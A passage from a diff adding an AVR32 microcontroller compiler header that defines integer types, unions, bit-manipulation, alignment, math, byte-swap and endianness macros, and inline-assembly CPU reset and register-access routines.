to. + */ +# define sysreg_write(reg, val) __builtin_mtsr(reg, val) + +#elif defined(__ICCAVR32__) +# define sysreg_read(reg) __get_system_register(reg) +# define sysreg_write(reg, val) __set_system_register(reg, val) +#endif + +// Deprecated definitions +#define Get_system_register(reg) sysreg_read(reg) +#define Set_system_register(reg, val) sysreg_write(reg, val) +//! @} + +#include "interrupt.h" + +/*! \name Usual Types + */ +//! @{ +typedef unsigned char Bool; //!< Boolean. +#ifndef __cplusplus +#if !defined(__bool_true_false_are_defined) +typedef unsigned char bool; //!< Boolean. +#endif +#endif +typedef int8_t S8 ; //!< 8-bit signed integer. +typedef uint8_t U8 ; //!< 8-bit unsigned integer. +typedef int16_t S16; //!< 16-bit signed integer. +typedef uint16_t U16; //!< 16-bit unsigned integer. +typedef uint16_t le16_t; +typedef uint16_t be16_t; +typedef int32_t S32; //!< 32-bit signed integer. +typedef uint32_t U32; //!< 32-bit unsigned integer. +typedef uint32_t le32_t; +typedef uint32_t be32_t; +typedef signed long long int S64; //!< 64-bit signed integer. +typedef unsigned long long int U64; //!< 64-bit unsigned integer. +typedef float F32; //!< 32-bit floating-point number. +typedef double F64; //!< 64-bit floating-point number. +typedef uint32_t iram_size_t; +//! @} + + +/*! \name Status Types + */ +//! @{ +typedef Bool Status_bool_t; //!< Boolean status. +typedef U8 Status_t; //!< 8-bit-coded status. +//! @} + + +/*! \name Aliasing Aggregate Types + */ +//! @{ + +//! 16-bit union. +typedef union +{ + S16 s16 ; + U16 u16 ; + S8 s8 [2]; + U8 u8 [2]; +} Union16; + +//! 32-bit union. +typedef union +{ + S32 s32 ; + U32 u32 ; + S16 s16[2]; + U16 u16[2]; + S8 s8 [4]; + U8 u8 [4]; +} Union32; + +//! 64-bit union. +typedef union +{ + S64 s64 ; + U64 u64 ; + S32 s32[2]; + U32 u32[2]; + S16 s16[4]; + U16 u16[4]; + S8 s8 [8]; + U8 u8 [8]; +} Union64; + +//! Union of pointers to 64-, 32-, 16- and 8-bit unsigned integers. +typedef union +{ + S64 *s64ptr; + U64 *u64ptr; + S32 *s32ptr; + U32 *u32ptr; + S16 *s16ptr; + U16 *u16ptr; + S8 *s8ptr ; + U8 *u8ptr ; +} UnionPtr; + +//! Union of pointers to volatile 64-, 32-, 16- and 8-bit unsigned integers. +typedef union +{ + volatile S64 *s64ptr; + volatile U64 *u64ptr; + volatile S32 *s32ptr; + volatile U32 *u32ptr; + volatile S16 *s16ptr; + volatile U16 *u16ptr; + volatile S8 *s8ptr ; + volatile U8 *u8ptr ; +} UnionVPtr; + +//! Union of pointers to constant 64-, 32-, 16- and 8-bit unsigned integers. +typedef union +{ + const S64 *s64ptr; + const U64 *u64ptr; + const S32 *s32ptr; + const U32 *u32ptr; + const S16 *s16ptr; + const U16 *u16ptr; + const S8 *s8ptr ; + const U8 *u8ptr ; +} UnionCPtr; + +//! Union of pointers to constant volatile 64-, 32-, 16- and 8-bit unsigned integers. +typedef union +{ + const volatile S64 *s64ptr; + const volatile U64 *u64ptr; + const volatile S32 *s32ptr; + const volatile U32 *u32ptr; + const volatile S16 *s16ptr; + const volatile U16 *u16ptr; + const volatile S8 *s8ptr ; + const volatile U8 *u8ptr ; +} UnionCVPtr; + +//! Structure of pointers to 64-, 32-, 16- and 8-bit unsigned integers. +typedef struct +{ + S64 *s64ptr; + U64 *u64ptr; + S32 *s32ptr; + U32 *u32ptr; + S16 *s16ptr; + U16 *u16ptr; + S8 *s8ptr ; + U8 *u8ptr ; +} StructPtr; + +//! Structure of pointers to volatile 64-, 32-, 16- and 8-bit unsigned integers. +typedef struct +{ + volatile S64 *s64ptr; + volatile U64 *u64ptr; + volatile S32 *s32ptr; + volatile U32 *u32ptr; + volatile S16 *s16ptr; + volatile U16 *u16ptr; + volatile S8 *s8ptr ; + volatile U8 *u8ptr ; +} StructVPtr; + +//! Structure of pointers to constant 64-, 32-, 16- and 8-bit unsigned integers. +typedef struct +{ + const S64 *s64ptr; + const U64 *u64ptr; + const S32 *s32ptr; + const U32 *u32ptr; + const S16 *s16ptr; + const U16 *u16ptr; + const S8 *s8ptr ; + const U8 *u8ptr ; +} StructCPtr; + +//! Structure of pointers to constant volatile 64-, 32-, 16- and 8-bit unsigned integers. +typedef struct +{ + const volatile S64 *s64ptr; + const volatile U64 *u64ptr; + const volatile S32 *s32ptr; + const volatile U32 *u32ptr; + const volatile S16 *s16ptr; + const volatile U16 *u16ptr; + const volatile S8 *s8ptr ; + const volatile U8 *u8ptr ; +} StructCVPtr; + +//! @} + +#endif // __AVR32_ABI_COMPILER__ + + +//_____ M A C R O S ________________________________________________________ + +/*! \name Usual Constants + */ +//! @{ +#define DISABLE 0 +#define ENABLE 1 +#define DISABLED 0 +#define ENABLED 1 +#define OFF 0 +#define ON 1 +#define FALSE 0 +#define TRUE 1 +#ifndef __cplusplus +#if !defined(__bool_true_false_are_defined) +#define false FALSE +#define true TRUE +#endif +#endif +#define KO 0 +#define OK 1 +#define PASS 0 +#define FAIL 1 +#define LOW 0 +#define HIGH 1 +#define CLR 0 +#define SET 1 +//! @} + + +#ifdef __AVR32_ABI_COMPILER__ // Automatically defined when compiling for AVR32, not when assembling. + +//! \name Optimization Control +//@{ + +/** + * \def likely(exp) + * \brief The expression \a exp is likely to be true + */ +#ifndef likely +# define likely(exp) (exp) +#endif + +/** + * \def unlikely(exp) + * \brief The expression \a exp is unlikely to be true + */ +#ifndef unlikely +# define unlikely(exp) (exp) +#endif + +/** + * \def is_constant(exp) + * \brief Determine if an expression evaluates to a constant value. + * + * \param exp Any expression + * + * \return true if \a exp is constant, false otherwise. + */ +#ifdef __GNUC__ +# define is_constant(exp) __builtin_constant_p(exp) +#else +# define is_constant(exp) (0) +#endif + +//! @} + +/*! \name Bit-Field Handling + */ +//! @{ + +/*! \brief Reads the bits of a value specified by a given bit-mask. + * + * \param value Value to read bits from. + * \param mask Bit-mask indicating bits to read. + * + * \return Read bits. + */ +#define Rd_bits( value, mask) ((value) & (mask)) + +/*! \brief Writes the bits of a C lvalue specified by a given bit-mask. + * + * \param lvalue C lvalue to write bits to. + * \param mask Bit-mask indicating bits to write. + * \param bits Bits to write. + * + * \return Resulting value with written bits. + */ +#define Wr_bits(lvalue, mask, bits) ((lvalue) = ((lvalue) & ~(mask)) |\ + ((bits ) & (mask))) + +/*! \brief Tests the bits of a value specified by a given bit-mask. + * + * \param value Value of which to test bits. + * \param mask Bit-mask indicating bits to test. + * + * \return \c 1 if at least one of the tested bits is set, else \c 0. + */ +#define Tst_bits( value, mask) (Rd_bits(value, mask) != 0) + +/*! \brief Clears the bits of a C lvalue specified by a given bit-mask. + * + * \param lvalue C lvalue of which to clear bits. + * \param mask Bit-mask indicating bits to clear. + * + * \return Resulting value with cleared bits. + */ +#define Clr_bits(lvalue, mask) ((lvalue) &= ~(mask)) + +/*! \brief Sets the bits of a C lvalue specified by a given bit-mask. + * + * \param lvalue C lvalue of which to set bits. + * \param mask Bit-mask indicating bits to set. + * + * \return Resulting value with set bits. + */ +#define Set_bits(lvalue, mask) ((lvalue) |= (mask)) + +/*! \brief Toggles the bits of a C lvalue specified by a given bit-mask. + * + * \param lvalue C lvalue of which to toggle bits. + * \param mask Bit-mask indicating bits to toggle. + * + * \return Resulting value with toggled bits. + */ +#define Tgl_bits(lvalue, mask) ((lvalue) ^= (mask)) + +/*! \brief Reads the bit-field of a value specified by a given bit-mask. + * + * \param value Value to read a bit-field from. + * \param mask Bit-mask indicating the bit-field to read. + * + * \return Read bit-field. + */ +#define Rd_bitfield( value, mask) (Rd_bits( value, mask) >> ctz(mask)) + +/*! \brief Writes the bit-field of a C lvalue specified by a given bit-mask. + * + * \param lvalue C lvalue to write a bit-field to. + * \param mask Bit-mask indicating the bit-field to write. + * \param bitfield Bit-field to write. + * + * \return Resulting value with written bit-field. + */ +#define Wr_bitfield(lvalue, mask, bitfield) (Wr_bits(lvalue, mask, (U32)(bitfield) << ctz(mask))) + +//! @} + + +/*! \brief This macro makes the CPU take a small break for a few cycles. This should + * be used when waiting for an event. It will reduce the internal bus load. + * + * "sub pc, pc, -4" (or "sub pc, -2") forces the IF stage to wait until the result + * of the calculation before it can fetch the next instruction. This makes sure + * there are nothing stuck in the LS pipe when you start a new iteration and guarante + * to flush the pipeline without having any other effect. + * (A nop doesn't have any effect on the IF stage.) + */ +#if (defined __GNUC__) +# define cpu_relax() __asm__ __volatile__("sub pc, pc, -4" ::: "memory", "cc") +#elif (defined __ICCAVR32__) +# define cpu_relax() __asm__ __volatile__("sub pc, pc, -4") +#endif + + +/*! \brief This macro is used to test fatal errors. + * + * The macro tests if the expression is FALSE. If it is, a fatal error is + * detected and the application hangs up. + * + * \param expr Expression to evaluate and supposed to be nonzero. + */ +#ifdef _ASSERT_ENABLE_ + #define Assert(expr) \ + {\ + if (!(expr)) while (TRUE);\ + } +#else + #define Assert(expr) +#endif + + +/*! \name Zero-Bit Counting + * + * Under AVR32-GCC, __builtin_clz and __builtin_ctz behave like macros when + * applied to constant expressions (values known at compile time), so they are + * more optimized than the use of the corresponding assembly instructions and + * they can be used as constant expressions e.g. to initialize objects having + * static storage duration, and like the corresponding assembly instructions + * when applied to non-constant expressions (values unknown at compile time), so + * they are more optimized than an assembly periphrasis. Hence, clz and ctz + * ensure a possible and optimized behavior for both constant and non-constant + * expressions. + */ +//! @{ + +/*! \brief Counts the leading zero bits of the given value considered as a 32-bit integer. + * + * \param u Value of which to count the leading zero bits. + * + * \return The count of leading zero bits in \a u. + */ +#if (defined __GNUC__) + #define clz(u) __builtin_clz(u) +#elif (defined __ICCAVR32__) + #if (__VER__ == 330) && (__SUBVERSION__ <= 1) + // __count_leading_zeros is broken and returns a value which is offset by + // -32 when called with a constant parameter. + #define clz(v) (0 == v ? 32 : (31 & __count_leading_zeros(v))) + #else + #define clz(v) __count_leading_zeros(v) + #endif +#endif + +/*! \brief Counts the trailing zero bits of the given value considered as a 32-bit integer. + * + * \param u Value of which to count the trailing zero bits. + * + * \return The count of trailing zero bits in \a u. + */ +#if (defined __GNUC__) + #define ctz(u) __builtin_ctz(u) +#elif (defined __ICCAVR32__) + #define ctz(u) __count_trailing_zeros(u) +#endif + +//! @} + +//! \name Logarithmic functions +//! @{ + +/** + * \internal + * Undefined function. Will cause a link failure if ilog2() is called + * with an invalid constant value. + */ +int_fast8_t ilog2_undefined(void); + +/** + * \brief Calculate the base-2 logarithm of a number rounded down to + * the nearest integer. + * + * \param x A 32-bit value + * \return The base-2 logarithm of \a x, or -1 if \a x is 0. + */ +static inline int_fast8_t ilog2(uint32_t x) +{ + if (is_constant(x)) + return ((x) & (1ULL << 31) ? 31 : + (x) & (1ULL << 30) ? 30 : + (x) & (1ULL << 29) ? 29 : + (x) & (1ULL << 28) ? 28 : + (x) & (1ULL << 27) ? 27 : + (x) & (1ULL << 26) ? 26 : + (x) & (1ULL << 25) ? 25 : + (x) & (1ULL << 24) ? 24 : + (x) & (1ULL << 23) ? 23 : + (x) & (1ULL << 22) ? 22 : + (x) & (1ULL << 21) ? 21 : + (x) & (1ULL << 20) ? 20 : + (x) & (1ULL << 19) ? 19 : + (x) & (1ULL << 18) ? 18 : + (x) & (1ULL << 17) ? 17 : + (x) & (1ULL << 16) ? 16 : + (x) & (1ULL << 15) ? 15 : + (x) & (1ULL << 14) ? 14 : + (x) & (1ULL << 13) ? 13 : + (x) & (1ULL << 12) ? 12 : + (x) & (1ULL << 11) ? 11 : + (x) & (1ULL << 10) ? 10 : + (x) & (1ULL << 9) ? 9 : + (x) & (1ULL << 8) ? 8 : + (x) & (1ULL << 7) ? 7 : + (x) & (1ULL << 6) ? 6 : + (x) & (1ULL << 5) ? 5 : + (x) & (1ULL << 4) ? 4 : + (x) & (1ULL << 3) ? 3 : + (x) & (1ULL << 2) ? 2 : + (x) & (1ULL << 1) ? 1 : + (x) & (1ULL << 0) ? 0 : + ilog2_undefined()); + + return 31 - clz(x); +} + +//! @} + +/*! \name Bit Reversing + */ +//! @{ + +/*! \brief Reverses the bits of \a u8. + * + * \param u8 U8 of which to reverse the bits. + * + * \return Value resulting from \a u8 with reversed bits. + */ +#define bit_reverse8(u8) ((U8)(bit_reverse32((U8)(u8)) >> 24)) + +/*! \brief Reverses the bits of \a u16. + * + * \param u16 U16 of which to reverse the bits. + * + * \return Value resulting from \a u16 with reversed bits. + */ +#define bit_reverse16(u16) ((U16)(bit_reverse32((U16)(u16)) >> 16)) + +/*! \brief Reverses the bits of \a u32. + * + * \param u32 U32 of which to reverse the bits. + * + * \return Value resulting from \a u32 with reversed bits. + */ +#if (defined __GNUC__) + #define bit_reverse32(u32) \ + (\ + {\ + unsigned int __value = (U32)(u32);\ + __asm__ ("brev\t%0" : "+r" (__value) : : "cc");\ + (U32)__value;\ + }\ + ) +#elif (defined __ICCAVR32__) + #define bit_reverse32(u32) ((U32)__bit_reverse((U32)(u32))) +#endif + +/*! \brief Reverses the bits of \a u64. + * + * \param u64 U64 of which to reverse the bits. + * + * \return Value resulting from \a u64 with reversed bits. + */ +#define bit_reverse64(u64) ((U64)(((U64)bit_reverse32((U64)(u64) >> 32)) |\ + ((U64)bit_reverse32((U64)(u64)) << 32))) + +//! @} + + +/*! \name Alignment + */ +//! @{ + +/*! \brief Tests alignment of the number \a val with the \a n boundary. + * + * \param val Input value. + * \param n Boundary. + * + * \return \c 1 if the number \a val is aligned with the \a n boundary, else \c 0. + */ +#define Test_align(val, n ) (!Tst_bits( val, (n) - 1 ) ) + +/*! \brief Gets alignment of the number \a val with respect to the \a n boundary. + * + * \param val Input value. + * \param n Boundary. + * + * \return Alignment of the number \a val with respect to the \a n boundary. + */ +#define Get_align( val, n ) ( Rd_bits( val, (n) - 1 ) ) + +/*! \brief Sets alignment of the lvalue number \a lval to \a alg with respect to the \a n boundary. + * + * \param lval Input/output lvalue. + * \param n Boundary. + * \param alg Alignment. + * + * \return New value of \a lval resulting from its alignment set to \a alg with respect to the \a n boundary. + */ +#define Set_align(lval, n, alg) ( Wr_bits(lval, (n) - 1, alg) ) + +/*! \brief Aligns the number \a val with the upper \a n boundary. + * + * \param val Input value. + * \param n Boundary. + * + * \return Value resulting from the number \a val aligned with the upper \a n boundary. + */ +#define Align_up( val, n ) (((val) + ((n) - 1)) & ~((n) - 1)) + +/*! \brief Aligns the number \a val with the lower \a n boundary. + * + * \param val Input value. + * \param n Boundary. + * + * \return Value resulting from the number \a val aligned with the lower \a n boundary. + */ +#define Align_down(val, n ) ( (val) & ~((n) - 1)) + +//! @} + + +/*! \name Mathematics + * + * The same considerations as for clz and ctz apply here but AVR32-GCC does not + * provide built-in functions to access the assembly instructions abs, min and + * max and it does not produce them by itself in most cases, so two sets of + * macros are defined here: + * - Abs, Min and Max to apply to constant expressions (values known at + * compile time); + * - abs, min and max to apply to non-constant expressions (values unknown at + * compile time). + */ +//! @{ + +/*! \brief Takes the absolute value of \a a. + * + * \param a Input value. + * + * \return Absolute value of \a a. + * + * \note More optimized if only used with values known at compile time. + */ +#define Abs(a) (((a) < 0 ) ? -(a) : (a)) + +/*! \brief Takes the minimal value of \a a and \a b. + * + * \param a Input value. + * \param b Input value. + * + * \return Minimal value of \a a and \a b. + * + * \note More optimized if only used with values known at compile time. + */ +#define Min(a, b) (((a) < (b)) ? (a) : (b)) + +/*! \brief Takes the maximal value of \a a and \a b. + * + * \param a Input value. + * \param b Input value. + * + * \return Maximal value of \a a and \a b. + * + * \note More optimized if only used with values known at compile time. + */ +#define Max(a, b) (((a) > (b)) ? (a) : (b)) + +/*! \brief Takes the absolute value of \a a. + * + * \param a Input value. + * + * \return Absolute value of \a a. + * + * \note More optimized if only used with values unknown at compile time. + */ +#if (defined __GNUC__) + #define abs(a) \ + (\ + {\ + int __value = (a);\ + __asm__ ("abs\t%0" : "+r" (__value) : : "cc");\ + __value;\ + }\ + ) +#elif (defined __ICCAVR32__) + #define abs(a) Abs(a) +#endif + +/*! \brief Takes the minimal value of \a a and \a b. + * + * \param a Input value. + * \param b Input value. + * + * \return Minimal value of \a a and \a b. + * + * \note More optimized if only used with values unknown at compile time. + */ +#if (defined __GNUC__) + #define min(a, b) \ + (\ + {\ + int __value, __arg_a = (a), __arg_b = (b);\ + __asm__ ("min\t%0, %1, %2" : "=r" (__value) : "r" (__arg_a), "r" (__arg_b));\ + __value;\ + }\ + ) +#elif (defined __ICCAVR32__) + #define min(a, b) __min(a, b) +#endif + +/*! \brief Takes the maximal value of \a a and \a b. + * + * \param a Input value. + * \param b Input value. + * + * \return Maximal value of \a a and \a b. + * + * \note More optimized if only used with values unknown at compile time. + */ +#if (defined __GNUC__) + #define max(a, b) \ + (\ + {\ + int __value, __arg_a = (a), __arg_b = (b);\ + __asm__ ("max\t%0, %1, %2" : "=r" (__value) : "r" (__arg_a), "r" (__arg_b));\ + __value;\ + }\ + ) +#elif (defined __ICCAVR32__) + #define max(a, b) __max(a, b) +#endif + +//! @} + + +/*! \brief Calls the routine at address \a addr. + * + * It generates a long call opcode. + * + * For example, `Long_call(0x80000000)' generates a software reset on a UC3 if + * it is invoked from the CPU supervisor mode. + * + * \param addr Address of the routine to call. + * + * \note It may be used as a long jump opcode in some special cases. + */ +#define Long_call(addr) ((*(void (*)(void))(addr))()) + +/*! \brief Resets the CPU by software. + * + * \warning It shall not be called from the CPU application mode. + */ +#if (defined __GNUC__) + #define Reset_CPU() \ + (\ + {\ + __asm__ __volatile__ (\ + "lddpc r9, 3f\n\t"\ + "mfsr r8, %[SR]\n\t"\ + "bfextu r8, r8, %[SR_M_OFFSET], %[SR_M_SIZE]\n\t"\ + "cp.w r8, 0b001\n\t"\ + "breq 0f\n\t"\ + "sub r8, pc, $ - 1f\n\t"\ + "pushm r8-r9\n\t"\ + "rete\n"\ + "0:\n\t"\ + "mtsr %[SR], r9\n"\ + "1:\n\t"\ + "mov r0, 0\n\t"\ + "mov r1, 0\n\t"\ + "mov r2, 0\n\t"\ + "mov r3, 0\n\t"\ + "mov r4, 0\n\t"\ + "mov r5, 0\n\t"\ + "mov r6, 0\n\t"\ + "mov r7, 0\n\t"\ + "mov r8, 0\n\t"\ + "mov r9, 0\n\t"\ + "mov r10, 0\n\t"\ + "mov r11, 0\n\t"\ + "mov r12, 0\n\t"\ + "mov sp, 0\n\t"\ + "stdsp sp[0], sp\n\t"\ + "ldmts sp, sp\n\t"\ + "mov lr, 0\n\t"\ + "lddpc pc, 2f\n\t"\ + ".balign 4\n"\ + "2:\n\t"\ + ".word _start\n"\ + "3:\n\t"\ + ".word %[RESET_SR]"\ + :\ + : [SR] "i" (AVR32_SR),\ + [SR_M_OFFSET] "i" (AVR32_SR_M_OFFSET),\ + [SR_M_SIZE] "i" (AVR32_SR_M_SIZE),\ + [RESET_SR] "i" (AVR32_SR_GM_MASK | AVR32_SR_EM_MASK | (AVR32_SR_M_SUP << AVR32_SR_M_OFFSET))\ + );\ + }\ + ) +#elif (defined __ICCAVR32__) + #define Reset_CPU() \ + {\ + extern void *volatile __program_start;\ + __asm__ __volatile__ (\ + "mov r7, LWRD(__program_start)\n\t"\ + "orh r7, HWRD(__program_start)\n\t"\ + "mov r9, LWRD("ASTRINGZ(AVR32_SR_GM_MASK | AVR32_SR_EM_MASK | (AVR32_SR_M_SUP << AVR32_SR_M_OFFSET))")\n\t"\ + "orh r9, HWRD("ASTRINGZ(AVR32_SR_GM_MASK | AVR32_SR_EM_MASK | (AVR32_SR_M_SUP << AVR32_SR_M_OFFSET))")\n\t"\ + "mfsr r8, "ASTRINGZ(AVR32_SR)"\n\t"\ + "bfextu r8, r8, "ASTRINGZ(AVR32_SR_M_OFFSET)", "ASTRINGZ(AVR32_SR_M_SIZE)"\n\t"\ + "cp.w r8, 001b\n\t"\ + "breq $ + 10\n\t"\ + "sub r8, pc, -12\n\t"\ + "pushm r8-r9\n\t"\ + "rete\n\t"\ + "mtsr "ASTRINGZ(AVR32_SR)", r9\n\t"\ + "mov r0, 0\n\t"\ + "mov r1, 0\n\t"\ + "mov r2, 0\n\t"\ + "mov r3, 0\n\t"\ + "mov r4, 0\n\t"\ + "mov r5, 0\n\t"\ + "mov r6, 0\n\t"\ + "st.w r0[4], r7\n\t"\ + "mov r7, 0\n\t"\ + "mov r8, 0\n\t"\ + "mov r9, 0\n\t"\ + "mov r10, 0\n\t"\ + "mov r11, 0\n\t"\ + "mov r12, 0\n\t"\ + "mov sp, 0\n\t"\ + "stdsp sp[0], sp\n\t"\ + "ldmts sp, sp\n\t"\ + "mov lr, 0\n\t"\ + "ld.w pc, lr[4]"\ + );\ + __program_start;\ + } +#endif + + + +/*! \name CPU Status Register Access + */ +//! @{ + +/*! \brief Tells whether exceptions are globally enabled. + * + * \return \c 1 if exceptions are globally enabled, else \c 0. + */ +#define Is_global_exception_enabled() (!Tst_bits(Get_system_register(AVR32_SR), AVR32_SR_EM_MASK)) + +/*! \brief Disables exceptions globally. + */ +#if (defined __GNUC__) + #define Disable_global_exception() ({__asm__ __volatile__ ("ssrf\t%0" : : "i" (AVR32_SR_EM_OFFSET));}) +#elif (defined __ICCAVR32__) + #define Disable_global_exception() (__set_status_flag(AVR32_SR_EM_OFFSET)) +#endif + +/*! \brief Enables exceptions globally. + */ +#if (defined __GNUC__) + #define Enable_global_exception() ({__asm__ __volatile__ ("csrf\t%0" : : "i" (AVR32_SR_EM_OFFSET));}) +#elif (defined __ICCAVR32__) + #define Enable_global_exception() (__clear_status_flag(AVR32_SR_EM_OFFSET)) +#endif + +//! @} + + +/*! \name Debug Register Access + */ +//! @{ + +/*! \brief Gets the value of the \a dbgreg debug register. + * + * \param dbgreg Address of the debug register of which to get the value. + * + * \return Value of the \a dbgreg debug register. + */ +#if (defined __GNUC__) + #define Get_debug_register(dbgreg) __builtin_mfdr(dbgreg) +#elif (defined __ICCAVR32__) + #define Get_debug_register(dbgreg) __get_debug_register(dbgreg) +#endif + +/*! \brief Sets the value of the \a dbgreg debug register to \a value. + * + * \param dbgreg Address of the debug register of which to set the value. + * \param value Value to set the \a dbgreg debug register to. + */ +#if (defined __GNUC__) + #define Set_debug_register(dbgreg, value) __builtin_mtdr(dbgreg, value) +#elif (defined __ICCAVR32__) + #define Set_debug_register(dbgreg, value) __set_debug_register(dbgreg, value) +#endif + +//! @} + + +/*! \name Force Assembly Inline Code Section + */ +//! @{ +#if (defined __GNUC__) +#define __always_inline __attribute__((__always_inline__)) +#elif (defined __ICCAVR32__) +#define __always_inline _Pragma("inline=forced") +#endif +//! @} + +/*! \name MCU Endianism Handling + * AVR32 is MCU big endianism. + */ +//! @{ +#define MSB(u16) (((U8 *)&(u16))[0]) //!< Most significant byte of \a u16. +#define LSB(u16) (((U8 *)&(u16))[1]) //!< Least significant byte of \a u16. + +#define MSH(u32) (((U16 *)&(u32))[0]) //!< Most significant half-word of \a u32. +#define LSH(u32) (((U16 *)&(u32))[1]) //!< Least significant half-word of \a u32. +#define MSB0W(u32) (((U8 *)&(u32))[0]) //!< Most significant byte of 1st rank of \a u32. +#define MSB1W(u32) (((U8 *)&(u32))[1]) //!< Most significant byte of 2nd rank of \a u32. +#define MSB2W(u32) (((U8 *)&(u32))[2]) //!< Most significant byte of 3rd rank of \a u32. +#define MSB3W(u32) (((U8 *)&(u32))[3]) //!< Most significant byte of 4th rank of \a u32. +#define LSB3W(u32) MSB0W(u32) //!< Least significant byte of 4th rank of \a u32. +#define LSB2W(u32) MSB1W(u32) //!< Least significant byte of 3rd rank of \a u32. +#define LSB1W(u32) MSB2W(u32) //!< Least significant byte of 2nd rank of \a u32. +#define LSB0W(u32) MSB3W(u32) //!< Least significant byte of 1st rank of \a u32. + +#define MSW(u64) (((U32 *)&(u64))[0]) //!< Most significant word of \a u64. +#define LSW(u64) (((U32 *)&(u64))[1]) //!< Least significant word of \a u64. +#define MSH0(u64) (((U16 *)&(u64))[0]) //!< Most significant half-word of 1st rank of \a u64. +#define MSH1(u64) (((U16 *)&(u64))[1]) //!< Most significant half-word of 2nd rank of \a u64. +#define MSH2(u64) (((U16 *)&(u64))[2]) //!< Most significant half-word of 3rd rank of \a u64. +#define MSH3(u64) (((U16 *)&(u64))[3]) //!< Most significant half-word of 4th rank of \a u64. +#define LSH3(u64) MSH0(u64) //!< Least significant half-word of 4th rank of \a u64. +#define LSH2(u64) MSH1(u64) //!< Least significant half-word of 3rd rank of \a u64. +#define LSH1(u64) MSH2(u64) //!< Least significant half-word of 2nd rank of \a u64. +#define LSH0(u64) MSH3(u64) //!< Least significant half-word of 1st rank of \a u64. +#define MSB0D(u64) (((U8 *)&(u64))[0]) //!< Most significant byte of 1st rank of \a u64. +#define MSB1D(u64) (((U8 *)&(u64))[1]) //!< Most significant byte of 2nd rank of \a u64. +#define MSB2D(u64) (((U8 *)&(u64))[2]) //!< Most significant byte of 3rd rank of \a u64. +#define MSB3D(u64) (((U8 *)&(u64))[3]) //!< Most significant byte of 4th rank of \a u64. +#define MSB4D(u64) (((U8 *)&(u64))[4]) //!< Most significant byte of 5th rank of \a u64. +#define MSB5D(u64) (((U8 *)&(u64))[5]) //!< Most significant byte of 6th rank of \a u64. +#define MSB6D(u64) (((U8 *)&(u64))[6]) //!< Most significant byte of 7th rank of \a u64. +#define MSB7D(u64) (((U8 *)&(u64))[7]) //!< Most significant byte of 8th rank of \a u64. +#define LSB7D(u64) MSB0D(u64) //!< Least significant byte of 8th rank of \a u64. +#define LSB6D(u64) MSB1D(u64) //!< Least significant byte of 7th rank of \a u64. +#define LSB5D(u64) MSB2D(u64) //!< Least significant byte of 6th rank of \a u64. +#define LSB4D(u64) MSB3D(u64) //!< Least significant byte of 5th rank of \a u64. +#define LSB3D(u64) MSB4D(u64) //!< Least significant byte of 4th rank of \a u64. +#define LSB2D(u64) MSB5D(u64) //!< Least significant byte of 3rd rank of \a u64. +#define LSB1D(u64) MSB6D(u64) //!< Least significant byte of 2nd rank of \a u64. +#define LSB0D(u64) MSB7D(u64) //!< Least significant byte of 1st rank of \a u64. + +#define LE16(x) Swap16(x) +#define le16_to_cpu(x) swap16(x) +#define cpu_to_le16(x) swap16(x) +#define LE16_TO_CPU(x) Swap16(x) +#define CPU_TO_LE16(x) Swap16(x) + +#define be16_to_cpu(x) (x) +#define cpu_to_be16(x) (x) +#define BE16_TO_CPU(x) (x) +#define CPU_TO_BE16(x) (x) + +#define le32_to_cpu(x) swap32(x) +#define cpu_to_le32(x) swap32(x) +#define LE32_TO_CPU(x) Swap32(x) +#define CPU_TO_LE32(x) Swap32(x) + +#define be32_to_cpu(x) (x) +#define cpu_to_be32(x) (x) +#define BE32_TO_CPU(x) (x) +#define CPU_TO_BE32(x) (x) +//! @} + + +/*! \name Endianism Conversion + * + * The same considerations as for clz and ctz apply here but AVR32-GCC's + * __builtin_bswap_16 and __builtin_bswap_32 do not behave like macros when + * applied to constant expressions, so two sets of macros are defined here: + * - Swap16, Swap32 and Swap64 to apply to constant expressions (values known + * at compile time); + * - swap16, swap32 and swap64 to apply to non-constant expressions (values + * unknown at compile time). + */ +//! @{ + +/*! \brief Toggles the endianism of \a u16 (by swapping its bytes). + * + * \param u16 U16 of which to toggle the endianism. + * + * \return Value resulting from \a u16 with toggled endianism. + * + * \note More optimized if only used with values known at compile time. + */ +#define Swap16(u16) ((U16)(((U16)(u16) >> 8) |\ + ((U16)(u16) << 8))) + +/*! \brief Toggles the endianism of \a u32 (by swapping its bytes). + * + * \param u32 U32 of which to toggle the endianism. + * + * \return Value resulting from \a u32 with toggled endianism. + * + * \note More optimized if only used with values known at compile time. + */ +#define Swap32(u32) ((U32)(((U32)Swap16((U32)(u32) >> 16)) |\ + ((U32)Swap16((U32)(u32)) << 16))) + +/*! \brief Toggles the endianism of \a u64 (by swapping its bytes). + * + * \param u64 U64 of which to toggle the endianism. + * + * \return Value resulting from \a u64 with toggled endianism. + * + * \note More optimized if only used with values known at compile time. + */ +#define Swap64(u64) ((U64)(((U64)Swap32((U64)(u64) >> 32)) |\ + ((U64)Swap32((U64)(u64)) << 32))) + +/*! \brief Toggles the endianism of \a u16 (by swapping its bytes). + * + * \param u16 U16 of which to toggle the endianism. + * + * \return Value resulting from \a u16 with toggled endianism. + * + * \note More optimized if only used with values unknown at compile time. + */ +#if (defined __GNUC__) +# if (!defined __OPTIMIZE_SIZE__) || !__OPTIMIZE_SIZE__ + #define swap16(u16) ((U16)__builtin_bswap_16((U16)(u16))) +# else + // swap_16 must be not used when GCC's -Os command option is used + #define swap16(u16) Swap16(u16) +# endif +#elif (defined __ICCAVR32__) + #define swap16(u16) ((U16)__swap_bytes_in_halfwords((U16)(u16))) +#endif + +/*! \brief Toggles the endianism of \a u32 (by swapping its bytes). + * + * \param u32 U32 of which to toggle the endianism. + * + * \return Value resulting from \a u32 with toggled endianism. + * + * \note More optimized if only used with values unknown at compile time. + */ +#if (defined __GNUC__) + #define swap32(u32) ((U32)__builtin_bswap_32((U32)(u32))) +#elif (defined __ICCAVR32__) + #define swap32(u32) ((U32)__swap_bytes((U32)(u32))) +#endif + +/*! \brief Toggles the endianism of \a u64 (by swapping its bytes). + * + * \param u64 U64 of which to toggle the endianism. + * + * \return Value resulting from \a u64 with toggled endianism. + * + * \note More optimized if only used with values unknown at compile time. + */ +#define swap64(u64) ((U64)(((U64)swap32((U64)(u64) >> 32)) |\ + ((U64)swap32((U64)(u64)) << 32))) + +//! @} + + +/*! \name Target Abstraction + */ +//! @{ + +#define _GLOBEXT_ extern //!< extern storage-class specifier. +#define _CONST_TYPE_ const //!< const type qualifier. +#define _MEM_TYPE_SLOW_ //!< Slow memory type. +#define _MEM_TYPE_MEDFAST_ //!< Fairly fast memory type. +#define _MEM_TYPE_FAST_ //!< Fast memory type. + +typedef U8 Byte; //!< 8-bit unsigned integer. + +#define memcmp_ram2ram memcmp //!< Target-specific 